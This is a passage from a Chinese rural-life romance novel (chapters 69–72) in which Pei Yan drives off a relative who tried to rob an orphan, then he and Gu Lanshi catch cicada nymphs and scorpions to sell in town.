然而徐启儿受惊吓太多,徐明子又是长辈,一时不敢接。 见状,裴厌没了耐心,自己走到徐明子跟前,乱棍就打了下去,他抡棍子时的破风声直响,可见力度有多大。 “哎呦哎呦,这可不得了。” “活该!谁叫他坏了心肠,我看咱们都不要过去,打一顿才好呢。” “出人命可就不好了,还是尽早拉开。” 有人不断惊呼,可都怕裴厌万一连拉架的一起打,为徐明子这样的人不值当,没看徐世文拿着扁担离得最近都不敢上前吗。 顾兰时生怕惹上人命官司,连忙过来阻止。 裴厌并未打红眼,顾兰时跑过来还没开口,他就扔掉了棍子。 木棍“哐当”掉在地上,徐启儿盯着,忽然就扑过去,抓在手里朝徐明子身上招呼。 一旁徐瑞儿看见,像个又黑又瘦的小狗,也扑过来对倒在地上的徐明子又踢又打。 苗秋莲看见这边动静,又听人低声说什么活阎王,连忙挤进人堆里,一看还真是她兰哥儿和活阎王姑爷,急得连声道:“哎呦,怎么这样冲动。” 见顾兰时担心不已,又是看裴厌手又是看胳膊,打架哪有不青伤的,她也没过脑子,顺嘴关怀道:“兰哥儿,姑爷伤着没?” 一听这话,门外一群人顿时没了话说,有人撇着嘴翻个白眼,徐明子能伤着裴厌才怪,也就他顾家人不知被什么蒙了眼,竟说出这种话。 第69章 徐明子挨了一通好打,抱着头在地上蜷缩,又被两个小崽子扑上来厮打,他原想还手,打不过活阎王也就算了,小毛崽子有什么可怕的。 只是裴厌力气大,打得他浑身疼痛难忍,哪里还有余力,更何况看见裴厌脸色后,他心里一激灵,哪里敢动手,只剩在原地哎呦喘气的劲儿。 徐启儿出了一口恶气,扔掉棍子后又拉住弟弟,不让再打了。 他看向裴厌,因自己之前没敢接木棍,心中越发畏惧。 “岳母,我没事。”裴厌说道。 顾兰时见他身上没伤,也就放了心。 苗秋莲意识到自己的话有点不对劲,看一眼地上的徐明子,都是裴厌打别人,哪有别人打他的,还把人打成那样,于是干笑两声说:“没事就好没事就好。” 之前的事她没看着,生怕裴厌又落个不好的名声,心里有点着急,徐明子这几天干的好事她只略知一二,便当着众人面问道:“姑爷是遇着混账事了?为人家打个抱不平?” 顾兰时气愤道:“娘,不怪裴厌,他欺负启儿,要抢启儿钱,大伙儿都看见了。” 徐世文已经掺和到其中,又挨了通好骂,对徐明子没有好脸色,自然同仇敌忾,说道:“是啊婶子,还真不是乱说,咱们都是讲理的人,若不是我这叔叔去抢启儿钱,也不至于闹成这样。” 苗秋莲这才放心,只要理在自家这边就好,最起码不会落个仗势欺人的凶名,她看着徐世文连忙开口:“这么说,我家姑爷是做了好事。” 徐世文下意识看了眼裴厌,点头道:“可不是。” 不但他,院里的几个汉子也纷纷开口,说这回确实是徐明子过分,简直不给自己侄儿留活路,直接上手明抢。 门外围看的人都不是傻子,心里自然有数。 见大伙儿多少向着裴厌,没说他打架闹事不好,苗秋莲心里就踏实了。 徐启儿脸上挨了几下,有明显青伤,脸颊也有点肿,他说道:“婶子,是兰哥哥和裴厌哥哥帮我。” 他畏惧裴厌,带上顾兰时才能安心。 “可怜见的。”苗秋莲叹息道,又说:“好在没给他得逞,快带瑞儿去洗洗。” “嗯。”徐启儿却没立即去做,他小心翼翼看向裴厌,又将视线转向顾兰时,谨慎开口道:“兰哥哥,我昨天跟你说的事……” 顾兰时不知要怎么开口,昨晚和裴厌说好不管这事了,只是没想到会有这一出。 见他为难,徐启儿大概明白了,除徐明子以外,还有两个本家亲戚惦记过他怀里的银钱,虽说今日裴厌为他出了头,可难保日后又生出事来。 于是他心一横,恳求道:“这钱我拿着总招事,万一又有来抢钱的……兰哥哥,你帮我管着,我若有用钱的地儿,就去找你。” 苗秋莲听见,心里有些打鼓,若叫人以为她兰哥儿和姑爷昧了人家钱怎么办,这启儿也是的,怎么敢把钱给别人。 不过再看一眼还在低声唉叫的徐明子,就明白他为何这样说。 徐世文和其他人也想通了这点,他看向徐启儿若有所思,别说,这好像真是个法子,就裴厌这脾气,谁敢在他跟前耍横。 只是有一点,谁知道这钱给出去还能不能要回来。 徐启儿急中生智,开口道:“兰哥哥,我把钱交你保管,是信你才这样,你就答应了吧,算我求你了。” 他不断恳请说好话,围观的人也觉得可怜。 顾兰时有点为难,只好去看裴厌,他心里也知道徐启儿其实是在求裴厌。 “还剩多钱?”裴厌面无表情问道。 徐启儿有点发怵,咽了咽口水说道:“一两二钱,上回、上回花一钱买了米面。” 裴厌记得当初里正给他时是一两三钱,数目对的上,开口道:“我们帮你管着也行,但有个条件,这钱我收了之后,你每次来要,要了多少,回来都得告诉四邻或里正一声,要完为止。” 徐启儿立即点头:“好好。” 他忙不迭从怀里掏出散碎银子递过去,眼瞅着裴厌接了以后,才堪堪喘过一口气,心里也安定下来。 苗秋莲有点不放心,可她不好开口,见事情说定了,只得作罢。 “走走,散了散了,该下地下地,再耽误太阳都出来了。”徐世文一边往外走一边笑嘻嘻同相熟的人招呼,至于地上的徐明子,他才没那么好心去搀扶。 “还不快滚。”裴厌走之前看一眼徐明子,声音冷厉。 徐明子常常惹是生非,也跟不少人打过架,可从没像今天这样势弱,心里知道厉害,连嘴皮子都不敢耍,忍着疼痛爬起来灰溜溜跑了。 回家之后,他夫郎于香草等着他要钱回来,地也没下,看见他如此狼狈,连忙问出什么事了。 徐明子一下子恼火起来,骂道:“死娼妇,若非你撺掇,老子也不至于挨顿打。” 于香草冷笑一声,不甘示弱道:“狗嘴里吐不出象牙!你倒撇个干净,走时的威风霸道哪里去了,还不是给人打了嘴,倒拿我撒气,混账汉子,我真做了娼妇,看你头上有几顶帽子戴!” 徐明子气得一伸手打在他脸上,于香草早就防着这一手,急得往后退一步,脸颊只堪堪蹭到手指头,但也划了一下。 徐明子抻到受伤的胳膊,倒吸一口凉气直骂娘,捂着胳膊额头上冷汗都下来了,实在疼得厉害。 于香草见状,知道他身上必定有伤,一下子得了势,怒目圆睁,叉腰骂道:“没脸的王八羔子!只会拿我出气,我倒问你,平日来的厉害哪里去了,叫人打成这样跑回来,你也不怕臊!” 他口中脏话还夹着下三路的腌臜东西,指着徐明子鼻子一通谩骂揭短,最后怒气冲冲问是谁打的,还阴阳怪气说自己嫁个汉子不中用,还得他这个夫郎上门去骂,架势十分蛮横。 然而在听到徐明子十分不痛快地说出裴厌两个字后,一下子就如被掐住脖子,气焰登时就灭了。 他二人嘀嘀咕咕骂骂咧咧好一阵,终究不敢去找裴厌茬,至于徐启儿手里那点钱,再眼红也只能嘘声叹气作罢。 * 晌午,听说这件事后,徐连子一开始怒不可遏,在心中暗骂,徐明子嘴上说得好听,一起要了钱平分,却一大早背着他自己跑去了,王八狗东西,竟想独吞这笔钱。 他俩曾一起找到徐启儿说帮他拿着钱,只是一直没要到手。 然而在听到徐明子被裴厌打了后,徐启儿也上赶着,巴巴儿把钱给了裴厌保管,小算盘一下子破灭了,他心中十分惋惜,但还是歇了心思,哪里敢去问裴厌要钱,还要不要命了。 至此,蠢蠢欲动想欺负徐启儿兄弟俩年幼的人,都不敢再打主意。 * 山坡上,顾兰时打着火把往上走,听见山下树林里一些半大小子咋咋呼呼的声音,忍不住回头去看。 树林葱郁,只能看见树荫缝隙里有不少火把闪过,人影看不太清。 夏天晚上比冬天热闹多了,都是来摸知了牛的。 裴厌胆子大,拎起柴刀说山下林子人太多,还得抢着摸,于是他俩就带着防身的家伙往山上走。 一到晚上,村里不少人都会叮嘱家里小辈不要往山上跑,万一碰见野兽,可不是闹着玩的。 顾兰时跟上前面裴厌的脚步,他俩也不往深山里走,进山一段路后就停下,往旁边树林里一边走一边用火把在地上树上都照照,时不时就能发现刚出洞的幼蝉。 山坡上不止他俩,还有别的人,能看见远处好几个火把影子,估计都是大人,小孩若敢随便上山,回家挨顿打都是轻的。 见状,他心里就安定许多,若真遇到危险,还能呼救求人下山报信。 其实前山野兽很少,近些年连山鸡野兔也躲着人,要往里面走才能抓到,一般野兽也都在老林子里。 看见地上指头粗的土洞里有一只,顾兰时蹲下一边挖一边笑道:“果然这里摸的人少,知了牛比山下多。” 想起去年和狗儿竹哥儿一起摸,他又开口:“也不知兰瑜兰竹出没出来,他俩要出来逮,估计都在山下,明天过去看看,要是少,分他俩一点去吃。” “好。”裴厌举着火把往旁边树上看去,见树干上有幼蝉在爬,爬的还比较高,于是从地上捡了根树枝戳下来。 他在草丛里找到知了牛,丢进放在地上的竹筐,火把一闪,见有往上爬的,于是拍拍筐子,让知了牛都掉下去。 出门之前谁也不知道能抓多少,就背了一个竹筐。 顾兰时见不一会儿抓满了筐底一层,高兴道:“果然还得大筐子,就算只摸上半筐,也不少了,顶得上去年我和狗儿两三天摸的。” 火把从草丛上面扫过,裴厌看见一根草尖上挂着只蝉蜕,蝉蜕将草枝压弯一点,随风晃晃悠悠。 他顺手取下蝉蜕扔进筐子里,回去了再分拣,攒多一点好去药铺卖钱。 知了牛夜晚出洞,爬上树才蜕壳生羽,白天在树上找蝉蜕既方便又多,有时草里也能发现。 顾兰时又在树下找到个蝉洞,找了根短树枝蹲下挖,说:“去年爹在药铺卖蝉蜕的时候,说看见你在卖蝎子蜈蚣。” 他神色好奇,抬头看了眼走过来的裴厌。 这件事裴厌没有忘记,开口道:“是,夏天毒物也多,我捉了些。” 想起当时自己没有理会顾铁山两人,他顿了顿,不知要说什么。 好在顾兰时没有在意这点,从土洞里扒拉出知了牛后问道:“蝎子蜈蚣是不是比这些值钱?” 裴厌点头,说:“是值钱些,知了牛价钱好时,在镇上一斤最多能卖三十文,活蝎子一斤是八十文,土崖下的蝎子体型还算可以,一晚上凑两斤没问题,只是土崖土沟那边去的人少,晚上又静寂,我一个夏天只去几次而已。” 原是这样,顾兰时一听价钱有点心动,问他:“是在哪里的土崖?” 裴厌指向山里东北边,说:“从那边缓坡下去,底下就是,再往前还有几条背阴的山沟,也有一些毒物。” 顾兰时沉吟一下,说道:“今年咱们有两个人,我给你打火把,你用筷子去夹,咱们也不贪多,有个一两斤就赶紧爬上来下山。” 裴厌有点犹豫,他自己不怕蝎子蜈蚣这些,只是顾兰时一个双儿,胆子本来就不大,若看见那些东西盘踞在土崖下,吓到了还能宽慰定神,若不小心被蛰了,可不是闹着玩的。 他开口道:“到底是毒物,我去就行了,你不必跟着,要是闲不住,就找狗儿和竹哥儿在山下摸蝉。” “可你一个人又要打火把又要用筷子夹。”顾兰时有点不放心,他鼓足勇气,说:“我又不是没见过蝎子,再不济买点雄黄粉带上。” 裴厌想了一下才点头,说:“也行,土崖下蝎子虽多,也不至于满地都是,都躲在缝隙里,到时你记得换上布鞋,别穿草鞋。” “好。”顾兰时答应着,两人又往前面走。 月亮高高挂在天上,都快亥时中刻了,见山坡上再没了其他火把的影子,顾兰时往竹筐里塞一把草,阻拦幼蝉往外爬。 裴厌背起整整半筐知了牛,分量不轻,可见收获颇丰。 下了山坡之后往东边走,林子里的人也散了,比方才安静许多。 顾兰时举着火把照路,他十分高兴,说明天早上就炒一盘解解馋,裴厌自然应好。 第70章 天刚蒙蒙亮,太阳还没出来,院子里就有了动静。 顾兰时热了几个馒头,从盆里捞出一大碗知了牛,昨晚一回来就全倒清水里泡着了,不然过一夜大部分都会蜕壳。 他一手按住碗口,把碗里的水倒掉,又将知了牛淘洗两遍,在另一口锅里用热油爆炒至熟。 裴厌早洗漱完等着了,闻见香气两人都没客气,拿起筷子就夹。 知了牛吃起来咸淡正好,外壳干香,里头肉又有嚼劲。 吃完后顾兰时笑道:“趁早挑去卖了,应该能卖到二十几文一斤,不知道这两天行价如何,有二十五文就不错。” 他又说:“之前在家里时,若捉得少,我和狗儿要攒一两天才去卖,有时没浸水,便都蜕了壳,不过刚蜕壳的金蝉只要没变黑,肉也嫩呢,拔去蝉翼就好了,价钱少点,但能卖点蝉蜕。” 他想起什么,笑着说:“这买主也实在捉摸不透,泡过水的嫌带了水沉重,要压价,不泡水又觉得蝉没有知了牛好吃,还要压价,他们也不想想,都是夜里捉蝉,要是不泡在水里,第二天可不就蜕壳了。” 裴厌放下筷子,说:“他们事再多,这东西紧俏,不少有点小钱的人家都爱吃,不愁卖,上那些高门大院前吆喝,挑去十几斤还不够两三户人家一顿吃的。” “也是。”顾兰时弯了弯眼睛,顾不上洗碗,先往院里装知了牛。 因有水,背在竹筐上恐怕弄湿后背,用扁担挑着大篮子比较好。 把桶里盆里的知了牛捞出来,见不少腿在动还活着,顾兰时放了心,留够给家里和他们两人吃的后,裴厌挑起扁担往外走。 一开院门,大黑从麻袋上爬起来,抖抖身体,又往前几步抻懒腰打哈欠。 他们小河村离宁水镇远,脚程快也得走三四刻钟,一来一回耗费腿脚体力。 因此送裴厌出门后,顾兰时先进灶房看米糕还剩多少,等人回来肯定要垫垫肚子,见还有七八块,明天再蒸不迟。 今天要紧的是浇前面菜地,十几块地里菜苗差不多都长出来了,后来补种的刚冒出小芽。 趁早起凉快,喂了猪禽后他独自一人去河边挑水,因菜地大,等裴厌卖了知了牛回来还没浇完。 裴厌坐在堂屋歇脚,吃了两块米糕垫饥,他也跟着歇息喝水,担扁担来回许多趟,不乏也有点累。 “二十七文一斤,卖了八斤,余下还有一二十只,当饶头给买主添了。”裴厌一边说,一边从怀里掏出荷包和一个纸包递过去。 他喝口水,放下碗又道:“一共是二百一十六文,里头有二钱碎银,那十六枚铜板我买了一小包雄黄粉。” 顾兰时笑眯眯打开荷包,将碎银倒在手心。 一趟出去弄了这些,比在码头累一天效益要好,不过每年也就夏天一小段时间能卖,等过了这几天新鲜劲,价钱也会变低。 裴厌同样高兴,眉眼里带着一点笑意,说:“我一进巷子吆喝,看见里头有个人正在卖,一斤二十六文,他挑的少,也明显比咱们的个头小,那户人家看见我挑的这些,出二十六文要买两斤,我说二十七文,他不愿出,我正要走,隔了几户的人家也出来看,出了二十七文,还全都要了,看那两家针锋相对的样子,大概是不对付,一个故意给另一个没脸,说话也夹枪带棒的,我当听不懂,卖了钱才是正事。” 顾兰时笑道:“倒便宜咱们了。” “嗯。”裴厌开口道:“今儿卖了这些钱,比去码头强多了,不过那边也有好处,天天去多少都有活,山里这些东西要看时令。” 他心劲上来,说:“好容易最近能挣钱,今晚就去抓毒虫,趁这时节多挣点,买驴子的钱就有了。” 之前去抓蝎子蜈蚣,他没多少奔头,一个夏天去几次挣够糊口钱就作罢,如今既然能看到挣钱的苗头,又有什么不去的道理,劳累一点,天天晚上抓个一两斤,二三十天下来,少说也能挣半头驴。 “好。”顾兰时同样干劲十足,对毒虫他心里其实有点畏惧,直说道:“要是那些东西实在害怕,我白天得了空,上山摸点蝉蜕,你要去卖蝎子,把这个也捎带上一起卖。” 他坦白直率,还没见到蝎子就先给自己留了退路,惹得裴厌轻笑一声,开口道:“行,你要害怕就不用去,我把火把插在地上或者土崖缝隙里,照样能抓到。” 浇菜地要紧,等太阳大了,只能到傍晚再浇,今天他们还有事呢。 两人没有多歇息,一起去河边挑水浇菜。 大黑今天不知怎么很高兴,在菜地里撒欢跑,尽管它很有眼色,但还是踩到了几颗菜苗,被裴厌骂了之后就守在篱笆门前趴着,在他俩进门或者出门的时候摇摇尾巴,倒也自在。 * 傍晚,顾兰时喂猪早了两刻钟,收拾完就和裴厌锁了门去抓蝎子。 天色还没暗,他俩手里的火把已经点上了,不然还得带上火石。 天要说黑起来还是很快的,直接点上就不用再操心。 上山坡之前,裴厌指着西边说:“那边转过去不是有个土崖,我在那里抓过毒虫,那边比山里的少,今天先不用过去。” 他想起去年自己在那边抓毒虫的时候,一转头看见顾兰瑜和村里几个小子从那边往山上走,没走这边的正经路,开口问道:“岳丈岳母准狗儿上山摸知了牛?” 顾兰时笑道:“以前不准,一听见他说往山上来我娘就找到处扫帚,如今大了,去年偶尔往山上跑,回去了说是好几个人一起,就没打他。” “怎么,你在山上见过他?”他笑着问道。 裴厌开口:“嗯,去年抓毒虫时见过。” 顾兰时弯了下眼睛,说:“半大不大的年纪,心野,和几个小子混在一起就乱窜,保不准以前也偷着往山上跑呢,只是没给我们知道罢了。” 要说顾兰瑜靠谱是靠谱,但免不了有些小孩心性,和关系好的在一块儿玩耍有时也挺闹腾。 他俩闲聊着,脚下一点都不慢,一进山明显有点冷,好在出门时都换了布鞋也添了衣裳。 很快到了土崖上面,裴厌知道路,先让顾兰时给鞋袜上撒些雄黄粉,又在裤管衣袖上抹一些,多少是个保障。 等弄好后他才在前面用柴刀劈砍草丛,一是为了开路,二是为了防草里有蛇或其他毒虫。 顾兰时跟着他的脚步,天还没彻底黑,林子里鸟叫声不如早上多。 “前面是陡坡,小心些,我先探探路。”裴厌叮嘱道,先一步下去,走了几步见土石结实,没有往下滑或坍塌的迹象,这才转身伸手:“来。” 顾兰时从小在山上在野地里摔打惯了,没那么娇气,不过偶尔被妥帖照顾几分,心里还是很高兴的。 这里没一个旁人,他也没矫情,直接搭上裴厌手,被牵着一步步从坡上走下去。 下到山沟底下后,他四下看了看,这里石头挺多,一来人发出动静,能看到石头缝或是土里有些微动静,明显就是毒虫。 这土崖下较宽阔,不算狭窄,因是背阴处,喜阴的草木还算茂盛,又有毒虫盘踞,不免有几分阴凉寒意。 裴厌背着带盖的竹篓,从里面拿出一双树枝做的长筷子,筷子很长,取出来后盖子才吧嗒一声合下去。 他将自己手里的火把递给顾兰时,说道:“你先拿着,看我怎么抓,要实在不敢,就别上手了。” 方才在路上,顾兰时好奇,便说也想试试,这会儿接了火把帮裴厌照明,点着头说:“好。” 随后全神贯注低头一起寻找蝎子的踪影。 裴厌踢开一块石头,果然底下藏了一只活蝎子,蝎子受惊,尾巴竖起示威,两个钳子也举起来,一边示威一边想往旁边窜。 顾兰时便看到裴厌手疾眼快,一双长筷子伸向蝎子,立即就夹住了,随后蝎子被丢进篓子里。 胆大的人敢上手抓活蝎子,可他们只为卖钱,用手还得十分小心,被钳子夹一下还好,要是被尾巴蛰了得不偿失,用筷子就好了,既稳妥又快。 “有的蝎子胆子其实很小,受惊后便四散逃开,也怕火光,若用火把去吓,逃得也很快。”裴厌一边在缝隙里找蝎子一边说话给顾兰时宽心,毒虫只是有毒,不一定就敢直接上来咬人。 雄黄粉味道大,虽说走下来有些都被蹭掉了,但依旧有味,顾兰时用火把照明,看到离他近的蝎子从石头缝里出来飞快逃窜,他立即指着喊道:“那儿,有只大的。” 裴厌眼力好,早就看到了,长筷子一伸将其夹住,蝎子便落入竹篓里。 一连抓了十几只后,裴厌把筷子递给他,让他也试试。 因见裴厌捉的轻松,顾兰时没多想,轻轻踢开一块石头后,看见有一只较小的蝎子赶紧去夹,谁知那小蝎子却十分灵活,飞快挤进另一块石头缝里。 这筷子是树枝做的,比较粗也比较长,没用惯还觉得不太趁手,他心里这么想,用筷子别开那块小石头,总算逮着这只半大的蝎子。 他接过火把,将筷子递过去说道:“还是你来,照我这样下去就耽搁了。” 裴厌笑笑没说话,土崖下毒虫盘踞,又阴冷,待久了终归不好。 有顾兰时给他打火把,他一边寻找一边抓,很快弄了将近一篓子。 蝎子大小不同,一斤的数目自然也不同,他俩就没计数。 裴厌记性好,之前抓过几次,不用掂量,这竹篓大,装满差不多有三斤,他抬头看一眼夜幕,说道:“足够了,天色也晚了,明天再来。” “好。”顾兰时等他扣好竹篓盖子,才把一支火把递过去。 上坡时同样是裴厌在前,拽着顾兰时一只手一路上去才松开。 裴厌一边留神四周动静,一边说道:“蝎子比知了牛好些,就算蜕壳也不怕,养几天不成问题,去镇上路远,多攒几天再去。” 顾兰时点点头,问道:“那给它们吃什么?若不给吃,饿死了不好卖价。” 裴厌说道:“挖些地龙,剁碎了丢进去,蛐蛐蚂蚱也吃,这东西不怎么吃素。” “好。”顾兰时认真记下,蝎子一斤八十文呢,三斤就是二百四十文,可不能饿死他们这两百多铜板。 药材铺里干蝎子也收,价钱甚至还要高一点,毕竟活蝎子收了还要他们弄成干蝎子才好贮藏。 可炮制晒干的方法各有不同,让他二人晒些草药还行,炮制活物到底生疏,万一出岔子弄坏了,一晚就算白干,还是去卖活的不会出错。 第71章 鸡是蝎子克星,如今十八只小母鸡也大了,都在后院的圈舍里养着,裴厌没把这一篓子毒蝎往后院放。 一回来他俩借着火光先找了两个大竹筐,分别倒了一半进去,用竹匾盖了,又找了两块石头压住,以防蝎子跑出来。 弄好后查看一番,见没有能让蝎子跑出来的缝隙,两人才放心关上柴房门。 裴厌舀了水洗手,他心情很好,笑着说:“公鸡、小母鸡都爱吃蝎子蜈蚣,对它们来说应该是道荤菜,不过咱们要卖钱,就不喂了。” 顾兰时也蹲在水盆前,拿了野澡珠搓出白沫子,将手洗的干干净净,闻言开口道:“我见过呢,以前我爹在家里看见一只蝎子,个头还挺大,怕它蜇人,我娘用扫帚压住,让他赶紧抱了公鸡过来,大公鸡见着蝎子一口就叨下去,蝎子根本没办法施展毒针和钳子,没几下就给啄死,被大公鸡吃了。” 他说得绘声绘色,眉眼也在动,睁大的眼睛仿佛在朝向人诉说那蝎子有多大,公鸡又有多威武。 月光如水,照亮了院子,裴厌在他说话时下意识看过来,看清他神色后,没忍住一直在笑。 顾兰时不解,但被他笑容感染,也弯了弯眉眼,问道:“你笑什么?” 裴厌自己也说不上来,他洗干净手上的白沫子,起身到晾衣绳那边拿了白天洗好的布巾,先递给顾兰时擦,自己想了一阵没想出个所以然,笑着说:“没什么。” 顾兰时擦干手后把布巾递给他,带笑的眉眼轻皱一下,心道,真奇怪。 他突然想起以前的裴厌,性子其实也挺古怪的,不喜不怒,没什么人味儿,如今能笑其实已经好很多了。 这段时日每天在一起待着,不知不觉之间难以察觉,没想到变化还挺大。 “我去烧水,好歹泡泡脚,那地方阴冷,别受着寒了。”裴厌擦干手,边说边抱了捆柴火进灶房。 顾兰时点点头:“好,那我先盥洗。” 夏天不怕冷,洗脸洁牙可以省些柴火,用冷水就行了。 大黑趴在麻袋上假寐,听见两人说话耳朵偶尔动一下,只有外面传来大的动静时才抬头张望。 * 有蝎子这个进项,裴厌第二天醒来没有去码头做工,和顾兰时该浇菜浇菜,地里的草也要锄一锄,还要放鸭子打猪草鸡草,平时他一走,顾兰时独自在家干这些琐碎活,论总算起来也不轻呢。 河边。 天一热鸭子更喜水,在水里游来游去,时而啄啄羽毛梳理梳理。 树干旁放了两个装满草的竹筐。 树荫下,顾兰时蹲着用小锄头挖湿泥,在里头寻找地龙,裴厌在几步远的地方,同样在挖地龙,身侧放了个旧鱼篓。 “好大一堆。”顾兰时小声惊呼一下,他有点不愿上手,于是喊裴厌过来。 裴厌向来胆大,饶是这样,看见纠集在一起的一堆地龙,他没言语,而是从旁边捡了根树枝折成双长筷,夹起往鱼篓里放。 “我怎么没想到。”顾兰时叹一声,又看向裴厌,笑眯眯说:“你可真聪明。” 他说着,也弄了两根树枝筷子来捉地龙,地龙鸡鸭吃蝎子也能吃,倒是个好东西。 裴厌自然很高兴,只是大白天的,不远处还有人洗衣裳,他明显矜持了很多,笑意不如两人独处时那样灿烂。 顾兰时夹起刚才又掉回地上的地龙,塞进鱼篓后,朝里面看一眼,说:“应该够这两天。” “够了。”裴厌应和着,弄完这边的,又过去把自己刚才挖出来的地龙弄进篓子里。 顾兰时丢掉树枝,拿了小锄头在河水里洗掉上面的泥,又洗洗手和小臂,挑了块干净大石头坐下歇息,拿出手帕擦擦汗。 裴厌蹲在河边洗手,用长竹竿将快游远的鸭子撵回来,他放下竹竿,瞧见水里有个河蚌,便伸长胳膊捞了起来。 河底泥沙被搅乱,随着水流又很快恢复清澈。 他在水边涮涮河蚌,拿过来笑道:“挺大的,回去了砸开给鸡吃。” 说起这个,顾兰时笑着说:“好,歇一下咱俩摸点螺,一起砸了给它们吃,养肥一点,到秋天时好下蛋。” 裴厌懒得往树干那边走,随手一扔,河蚌恰好被丢进竹筐里的草上,他在顾兰时旁边坐下,说道:“行,把草往里塞一塞,留出点地方,不必再回去拿筐子了。” 一阵风吹来,一下子凉快许多,顾兰时歇了一阵,听见头顶有蝉鸣,便抬头在树干上搜寻。 裴厌也往上看,开口道:“在顶上,不好抓,没弄粘杆。” “有个蝉蜕。”顾兰时指着树干高处说,又道:“就是太高了,只有一个,不值得特地爬上去。” 见他作罢,裴厌就没起身去摸。 歇了一会儿后,顾兰时打开竹筒喝了两口水,随手递给裴厌,说:“草打了,鸭子也游了这么久,捉点螺就回去,趁知了牛还新鲜,晌午再炒着吃一顿,一年也就这时候能解解馋。” 裴厌喝完竹筒里的水,塞好塞子挂在腰间,脱了草鞋和他一起下水。 农家清闲少,忙碌一天后,到傍晚两人带了防身的柴刀,又点了火把进山抓毒虫。 有了昨天晚上的经历,一想到能赚钱,顾兰时就没了那些害怕,比起毒虫,还是吃不饱饭更让人忧心。 一连抓了四天,第五天早上,因蝎子之间也有争斗,困在竹筐受了惊,一些性烈的打架撕咬,难免有死伤。 裴厌发现后,便将上面一层有残缺的死尸夹出来,到后院丢给小母鸡吃。 一群母鸡看见蝎子,果然都蜂拥围上去争抢,不一会儿就吃了个精光。 顾兰时拍拍两个扣紧盖子的竹筐,说:“都仔细扣好了,你路上也小心些,刚好去药材铺,要是他们有治蝎毒蜈蚣毒的药,记得买一些回来,就算用不上,放在家里有备无患。” “好,还要什么?我一并买回来。”裴厌背起双绳竹筐,又把单绳的挎在肩上。 顾兰时想了一下,说:“也没什么,对了,要不打些香麻油回来,一斤半斤都成,我拿点钱,上家里同我娘换几个鸡蛋,不用大老远从镇上买,今天蒸一碗鸡蛋羹吃。” 说完,他进灶房拿了个空的小瓦罐出来。 成亲以来,鸡蛋羹还没吃过呢,虽说时不时掏鸟蛋打几只野鸡山雀什么的,隔三差五有个荤腥打牙祭,但他还是有点馋淋了香油的嫩蛋羹。 “行,我记下了。”裴厌应道,接过瓦罐就往外走。 顾兰时送他出了篱笆门才回来。 提了一桶水给猪倒上,又给鸡鸭和狗都添了干净水,顾兰时趁早起他爹娘还没下地,进屋从枕头底下数了十五个铜板,揣在怀里提了小篮子往家去。 一进院门看见顾兰瑜在劈柴,他笑道:“娘在家?” “兰时哥哥。”顾兰瑜没停手里的活,捡起一根木头放在墩子上,一边劈一边笑着说:“在后院喂牲口呢。” “兰时哥哥。”竹哥儿从灶房出来,手里拿了根有火的细柴往屋檐下走,点燃了泥炉火。 “家里还有鸡蛋?”顾兰时问道。 竹哥儿常在灶房忙,清楚这些,说道:“有呢,这几天攒了一些,爹还没去卖。” 顾兰瑜没事同他闲聊,询问道:“我这两天晚上在林子里摸知了牛,怎么没看见你和我厌哥。” 他俩住在后山,离树林子近,顾兰时笑着说:“这几天我俩没去摸,上土崖底下捉蝎子去了。” 闻言,顾兰瑜握着斧头看过来,说:“真抓着了?” 汉子对这些事总有些兴致,顾兰时见他这么感兴趣,说道:“抓到了,不少呢,刚才背着就去镇上了,他没路过?” “今天开院门迟。”顾兰瑜说着,想起一件事,又道:“今晚我和兰兴去林子里点火弄金蝉,你俩去不去?” 他又劈起柴,说:“要是多的话,咱们分一分去卖,不多就各自分一点回来炒着吃,也香呢。” 搞这些也不全为卖钱和吃嘴,更主要的是能玩耍嬉闹,成天闷着干活也无趣。 “去,怎么不去。”顾兰时笑眯眯的,找点乐子也好,最重要的,裴厌能跟着他们一起玩。 说几句闲话,他一边喊娘一边往后院走。 “哎,来了来了。”苗秋莲听见动静,连声从后院过来,一听他来意,拍拍手上草屑,一脸笑意接过铜板塞进怀里,说:“你自个儿去拿,六个七个都成,回去也好给你和姑爷补补。” “知道了娘。”顾兰时答应着,自己在灶房蛋篮子里拿了六个鸡蛋。 天热,鸡鸭都不好好下蛋,比往日稀缺点,一个蛋这会儿怎么也能卖个四五文钱。 就算平时,鸡蛋也是金贵东西,乡下人舍不得吃,平常都是攒一些卖给镇上人家,就这样,听人说那些大户人家还不够吃呢,采买的到处踅摸蛋户,好供给主子吃喝。 顾兰时虽常常从家里拿东西,但每每和裴厌捉了鱼和别的山货,总会回来送些。 苗秋莲和顾铁山见裴厌不是扶不起来的,不但有力气有本事,还挺孝顺,便乐意接济照顾几分。 提着篮子要走时,苗秋莲想起另一件事,连忙喊竹哥儿给他在大陶罐里捞两个腌好的咸鸭蛋带回去。 顾兰时没有客气,他和裴厌养的鸭子还没到下蛋的时候,上次吃还是问大姐姐要的。 “兰哥哥,我们傍晚就去,记得来。”顾兰瑜在他走时叮嘱道。 顾兰时笑着答应:“好,肯定去。” 他来时就高兴,回去更高兴,不但有鸡蛋吃,还有意外之喜,乐得什么似的,一回去就把咸鸭蛋煮了,过两天熬点稠米粥,好和裴厌一起拌粥吃,连红油都不能放过。 第72章 裴厌不一定什么时候回来,顾兰时捞了咸鸭蛋后看看天色,没有云,太阳也挺大的,他想在家里等裴厌,于是到后院赶了鸭子出来,对趴在院里的大黑说:“去放鸭子。” 鸭子每天在家里和河边来回,已经认识路,不过担心它们被贼人抓走,每次放出去都不离人。 大黑能听懂“放鸭子”三个字,当即起身往院门外走。 篱笆门关着,顾兰时和它们一起经过菜地,开了篱笆门后又觉得不放心,关上门跟在后面看了一会儿,见大黑始终走在六只鸭子旁边,不紧不慢的,明显知道要做什么,这才放心。 天热,让大黑在河里游游水也好。 顾兰时这么想着,还是一路跟去了河边,见鸭子依旧从平时下水的地方游进水里,大黑竖着耳朵警惕,他这才原路返回。 家里人手少就是这样,哪儿哪儿都显得有点不够用,好在大黑聪明,能帮忙看鸭子。 回来之后,大白天的,在院里干活不怕来人,他虚掩了篱笆门没上门闩,里面院门也开着,从西屋抱了一卷竹席出来,铺在平整的晒谷场上。 昨天挖了两筐野菜还没来得及晒,这会儿他从杂屋拎出竹筐,在院里淘洗一番,甩甩水往竹席上放。 两筐野菜不少,不过竹席裴厌编的比较大,没有放满,见院里春菜长得好,有一行已经很大了,他过去挖了一些。 这一行一共十颗菜,连根拔起后抖抖根须上的泥土,顾兰时将菜抱到灶房门口打理。 择下来的老叶子放在一旁,大片的鲜绿的叶子和小孩胳膊粗的绿茎都能吃,他舀水仔细洗干净。 